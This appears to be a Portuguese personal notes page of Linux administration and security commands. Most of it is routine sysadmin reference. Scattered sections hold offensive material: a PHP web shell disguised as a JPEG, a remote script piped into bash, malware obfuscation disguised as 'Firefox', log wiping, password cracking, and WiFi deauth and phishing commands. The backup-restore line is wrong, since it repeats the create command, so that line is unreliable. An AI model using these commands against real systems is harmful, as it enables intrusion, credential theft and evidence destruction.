Linux & CyberSecurity Notes

Este site foi criado para facilitar a busca por comandos e dicas essenciais de Linux, especialmente voltados para profissionais de segurança cibernética e administradores de servidores. Aqui você encontrará uma coleção de comandos úteis, scripts e boas práticas para otimizar seu fluxo de trabalho e garantir a segurança dos seus sistemas.

Quer sugerir algum comando? Pode chamar!


Atenção!

Os comandos e scripts fornecidos aqui são exemplos gerais. Sempre adapte-os ao ambiente específico da sua organização e teste-os antes de usar em produção.


Implementações


Ollama Ticket SOC

DFIR IRIS

SIEM Wazuh

OpenCTI


Hardening


SSH

Linux

Firewall


z

Comandos & Anotações


Comandos Úteis

Remover KeySensitive - echo set completion-ignore-case on | sudo tee -a /etc/inputrc

Uso de disco - df -h

Uso de memória - free -m

Uso de CPU - top

Verificar processos - ps axjf

Verificar versão do Kernel - uname -a

Verificar versão do SO - cat /etc/*-release

Listar comandos disponiveis - apropos ''

Listar todos os comandos disponíveis - compgen -c

Listar todos os aliases disponíveis - compgen -a

Listar "arquivos" abertos - lsof

Rastrear Chamadas do Sistema - strace

Rastrear Chamadas de Bibliotecas - ltrace

Listar dispositivos USB por ID - ls -l /dev/disk/by-id/

Informações detalhadas de USB - sudo lsusb -v -s 001:005

Informações detalhadas por Blocos - udevadm info --query=all --name=/dev/sda | grep SERIAL

Criação de usuário

Adicionar usuário com restrições:

sudo useradd --badname -m -s /bin/rbash usuario

sudo passwd usuario


Para alterar o SHELL:

sudo usermod --shell /bin/bash usuario


Criar usuário sem Home

sudo adduser --system --no-create-home --group nome_do_usuario

Python3

Remover restrição do PIP INSTALL - sudo rm /usr/lib/python3.11/EXTERNALLY-MANAGED

Python Env 2.7 e 3.x

mkdir novo_projeto && cd novo_projeto

Python2.7 - python2.7 -m virtualenv venv

Python3.x - python3 -m venv venv

Habilitar o Env - source venv/bin/activate

Desabilitar o Env - deactivate

Instalar Libs - pip install -r requirements.txt

Exportar Libs - pip freeze > requirements.txt

Criar e Restaurar Backups

BKP de diretório - sudo tar -cvpzf /caminho/para/backup_home.tar.gz -C /home

Restaurar BKP - sudo tar -cvpzf /caminho/para/backup_home.tar.gz -C /home/seu_usuario

Configuração de Rede

Verificar Interfaces/IPs - ip -br a

"Subir" interface de rede - sudo ip link set eth0 up

"Derrubar" interface de rede - sudo ip link set eth0 down

Renomear interface de rede - sudo ip link set eth0 name eth1

Verificar endereço IP da interface - ip addr show eth0

Configurar endereço IP estático - sudo ip addr add 192.168.1.100/24 dev eth0

Remover endereço IP - sudo ip addr del 192.168.1.100/24 dev eth0

Adicionar rota padrão - sudo ip route add default via 192.168.1.1

Verificar tabela de roteamento - ip route show

Testar conectividade (ping) - ping google.com

Liberar e renovar IP (DHCP) - sudo dhclient -r eth0 && sudo dhclient eth0

Verificar status da interface - ip link show eth0

Habilitar/Desabilitar IPv6 - sudo sysctl -w net.ipv6.conf.eth0.disable_ipv6=1

Verificar tráfego de rede - sudo iftop -i eth0

Configurar DNS temporário - sudo echo "nameserver 8.8.8.8" > /etc/resolv.conf

Verificar resolução DNS - nslookup google.com

Verificar velocidade da interface - ethtool eth0

Configurar MTU da interface - sudo ip link set eth0 mtu 1500

Monitorar tráfego de rede em tempo real - sudo tcpdump -i eth0

Observar conexões ativas - ss -tulnp


Descoberta de Rede (ARP) - - sudo netdiscover

Verificar Tabela Arp - - cat /proc/net/arp

Recriar GRUB

GRUB:

grub> set root=(hd0,1) <<- sintaxe da versão Grub2

grub> linux /boot/vmlinuz-xxxx root=/dev/sda1 ro quiet

grub> initrd /boot/initrd.img

grub> boot

CFG:

sudo nano /etc/default/grub

Manual em: www.gnu.org/software/grub

Manipulação de Serviços

Listar Serviços - sudo systemctl list-unit-files

Habilitar Serviço - sudo systemctl enable (nome do serviço)

Desabilitar Serviço - sudo systemctl disable (nome do serviço)

Status do Serviço - sudo systemctl status (nome do serviço)

Iniciar Serviço - sudo systemctl start (nome do serviço)

Parar Serviço - sudo systemctl stop (nome do serviço)

Reiniciar Serviço - sudo systemctl restart (nome do serviço)

Recarregar Serviços - sudo systemctl daemon-reload

Diretórios comuns dos Serviços - /lib, /etc e /run : /systemd/system/

Firewall Commands

Redirecionar saída para destino específico:

sudo iptables -t nat -A OUTPUT -o tun0 -j DNAT --to-destination 10.13.5.224

Alterar a interface de uma zona:

firewall-cmd --zone={selected_zone} --change-interface={seleciona_interface} --permanent

Adicionar interfaces a uma zona:

firewall-cmd --zone={selected_zone} --permanent --add-interface={seleciona_interface}

Remover interfaces de uma zona:

firewall-cmd --zone={selected_zone} --permanent --remove-interface={interface_to_remove}

Adicionar serviços a uma zona:

firewall-cmd --add-service={service_choice} --permanent --zone={selected_zone}

Remover serviços de uma zona:

firewall-cmd --remove-service={service_choice} --permanent --zone={selected_zone}

Adicionar portas a uma zona:

firewall-cmd --add-port={port}/tcp --permanent --zone={selected_zone}

firewall-cmd --add-port={port}/udp --permanent --zone={selected_zone}

Remover portas de uma zona:

firewall-cmd --remove-port={port}/tcp --permanent --zone={selected_zone}

firewall-cmd --remove-port={port}/udp --permanent --zone={selected_zone}

Bloquear IP:

firewall-cmd --permanent --zone={selected_zone} --add-rich-rule='rule family=ipv4 source address={blocked_ip} drop'

Bloquear range de IP por máscara (não testado):

firewall-cmd --permanent --zone={selected_zone} --add-rich-rule='rule family=ipv4 source address={ip_mask} drop'

Alterar o target:

firewall-cmd --zone=selected_zone --set-target=sit-target

Aplicar configurações:

firewall-cmd --reload


Redirecionar Portas com Firewalld

Adicionar redirecionamento de porta:

firewall-cmd --add-forward-port=port=80:proto=tcp:toport=3000

firewall-cmd --runtime-to-permanent

Remover redirecionamento de porta:

firewall-cmd --remove-forward-port=port=80:proto=tcp:toport=3000:toaddr=

firewall-cmd --runtime-to-permanent

Baixar Sites

Com WGET - wget --mirror --convert-links --adjust-extension --page-requisites https://URL

Dados de Conexão

IP Externo - curl ifconfig.me

PHP

Camuflar WebShellPHP em Imagem:

echo -e "\xFF\xD8\xFF\xE0" > image.php

echo -n '<?php $p = file_get_contents("/etc/natas_webpass/natas14"); echo $p; ?>' >> image.php

Verificar o arquivo

file image.php

Deve retornar o seguinte:

image.php: JPEG image data

Enumeração

LinPeas - curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash

Estabilizar Conexão

Reverse Shell - https://www.revshells.com/

Maware

PyArmor - pyarmor -q gen gunkey.py

PyInstaller - pyinstaller -n Firefox -F gunkey.py

PyArmor with Obfuscation - pyarmor gen -O obfdist --pack dist/Firefox gunkey.py

Permissões com Find

find / -type f \( -name usuario1 -o -name usuario2 \) -exec ls -ladb {} \; 2>/dev/null

find / -name root.txt -exec ls -lda {} \; 2>/dev/null

find / -user root -perm -4000 -exec ls -ladb {} \; 2>/dev/null

find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \; 2>/dev/null

find / -type f -perm -u=s -user des -ls 2>/dev/null

find / -type f -name "*.bak" 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

CRON

O arquivo crontab tem cinco campos de tempo seguidos pelo comando a ser executado:

    ┌──────── min (0 - 59)
    │ ┌───────── hora (0 - 23)
    │ │ ┌────────── dia do mês (1 - 31)
    │ │ │ ┌─────────── mês (1 - 12)
    │ │ │ │ ┌──────────── dia da semana (0 - 6)
    │ │ │ │ │                                  
    │ │ │ │ │                                  
    │ │ │ │ │
    * * * * * comando a ser executado
            

Agendar uma tarefa para ser executada a cada minuto:

echo "*/1 * * * * /usr/bin/python3 /home/kali/Documentos/gun.py" | crontab -

John The Ripper

reRun JOHN > delete 'john.pot'

unshadow passwd shcat adow > passwords.txt

john --show

AWK

Imprimir número da linha e conteúdo - awk '{print NR,$0}' file.txt

Imprimir primeira e terceira coluna - awk '{print $1, $3}' file.txt

Usar cat e awk para imprimir primeira e terceira coluna - cat logfile | awk '{print $1, $3}'

Substituir 'espaço' por ':' - awk 'BEGIN{FS=" "; OFS=":"} {print $1,$4}' awk.txt

Coluna em linhas separado por vírgula - awk 'BEGIN{ORS=", "}{print $1}' awk.txt

Formatação "ligada"

Formatar disco para ext4:

sudo mkfs.ext4 /dev/sdX

Shred disco:

sudo shred -n 1 -v /dev/sdX

Limpeza de Logs

Script para limpar logs:

    #! /bin/sh
    cd /var/log
    for l in `ls -p|grep '/'`; do
    echo -n >$l &>/dev/null
    echo Zerando arquivo $l...
    done
    echo Limpeza de log concluída!
            

Expandir LVM

Verificar se o novo disco esta disponivél

lsblk

fdisk -l


Criar um Physical Volume (PV)

sudo pvcreate /dev/sdb

sudo pvdisplay

Identifique o VG que seu LVM está usando:

sudo vgdisplay


Suponha que seu VG se chame vg_root. Agora, adicione o novo PV ao VG:

sudo vgextend vg_root /dev/sdb


Confirme se o disco foi adicionado:

sudo vgdisplay


Liste os LVs disponíveis:

sudo lvdisplay


Identifique o LV que deseja expandir (exemplo: /dev/vg_root/lv_root) e aumente o tamanho dele:

sudo lvextend -l +100%FREE /dev/vg_root/lv_root


Se o sistema de arquivos for ext4, use:

sudo resize2fs /dev/vg_root/lv_root


Se for XFS, use:

sudo xfs_growfs /dev/vg_root/lv_root


Verifique se o espaço foi expandido:

df -h

Terminal com ProxyChains e Tor

Instalar Proxychains:

sudo apt install proxychains

Instalar Tor:

sudo apt install tor

Iniciar serviço Tor:

sudo service tor start

Editar configuração do Proxychains:

sudo nano /etc/proxychains.conf

Adicionar as seguintes linhas:

    dynamic_chain
    proxy_dns
    tcp_read_time_out 15000
    tcp_connect_time_out 8000
    [ProxyList]
    # Usando o Tor como proxy
    socks4  127.0.0.1 9050  
            

Testar conexão com Tor:

curl --socks5 127.0.0.1:9050 https://check.torproject.org

Wifi Hacking

hcxdumptool -o dump.pcapng -i wlan0 --enable_status=1

hcxpcaptool -z test.16800 test.pcapng

hashcat -m 16800 test.16800 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -a 0

hashcat -m 16800 test.16800 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -a 0 -w 3

sudo airmon-ng wlan0 <channel>

sudo iwconfig wlp4s0mon channel 1

sudo aireplay-ng --deauth 200 -a 00:31:92:AF:52:B6 wlan0

bettercap -T 192.168.0.100 --interface at0 --no-spoofing --no-discovery --proxy --proxy-port 80 --proxy-https --proxy-https-port 443 -P POST

sudo wifiphisher -nD -i wlan0

sudo wifite --bully --kill

Geração de Wordlists:

cewl -d 2 -m 5 -w passwords.txt http://10.10.145.228 --with-numbers

cewl -d 0 -m 5 -w usernames.txt http://MACHINE_IP/team.php --lowercase

crunch 3 3 0123456789ABCDEF -o 3digits.txt

crunch 3 3 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space -o 3digits.txt

Alterar o MACADDRESS durante a inicialização

Crie o arquivo de serviço:

    sudo nano /etc/systemd/system/macchanger.service

    [Unit]
    Description=Change MAC address
    After=network.target

    [Service]
    Type=oneshot
    ExecStart=/usr/sbin/ip link set [interface] down
    ExecStart=/usr/bin/macchanger -r [interface]
    ExecStart=/usr/sbin/ip link set [interface] up
    RemainAfterExit=yes

    [Install]
    WantedBy=multi-user.target

Recarregue os daemons do systemd:

sudo systemctl daemon-reload

Habilite e inicie o serviço:

sudo systemctl enable macchanger.service

sudo systemctl start macchanger.service

Verifique o status do serviço:

sudo systemctl status macchanger.service

Verifique o endereço MAC:

macchanger -s [interface]

Engenharia Reversa

Desmontar binário com objdump: objdump -d [binario]

Inspecionar strings em um binário: strings binario

Descompilar binário com Ghidra: ghidra binario

Descompilar binário com Radare2: r2 -A binario

Debug com GDB: gdb binario

Carregar binário no Hopper: hopper binario

Verificar dependências de um binário: ldd binario

Monitorar chamadas de sistema: strace ./binario

Exibir conteúdo hexadecimal de um arquivo: hexdump -C arquivo

Exibir informações detalhadas de um arquivo: stat arquivo

Inspecionar cabeçalhos ELF de um binário: readelf -h binario

Configuração de Data e Hora

Listar fusos horários disponíveis:

timedatectl list-timezones | grep America/[Regiao]

Definir fuso horário:

sudo timedatectl set-timezone America/Sao_Paulo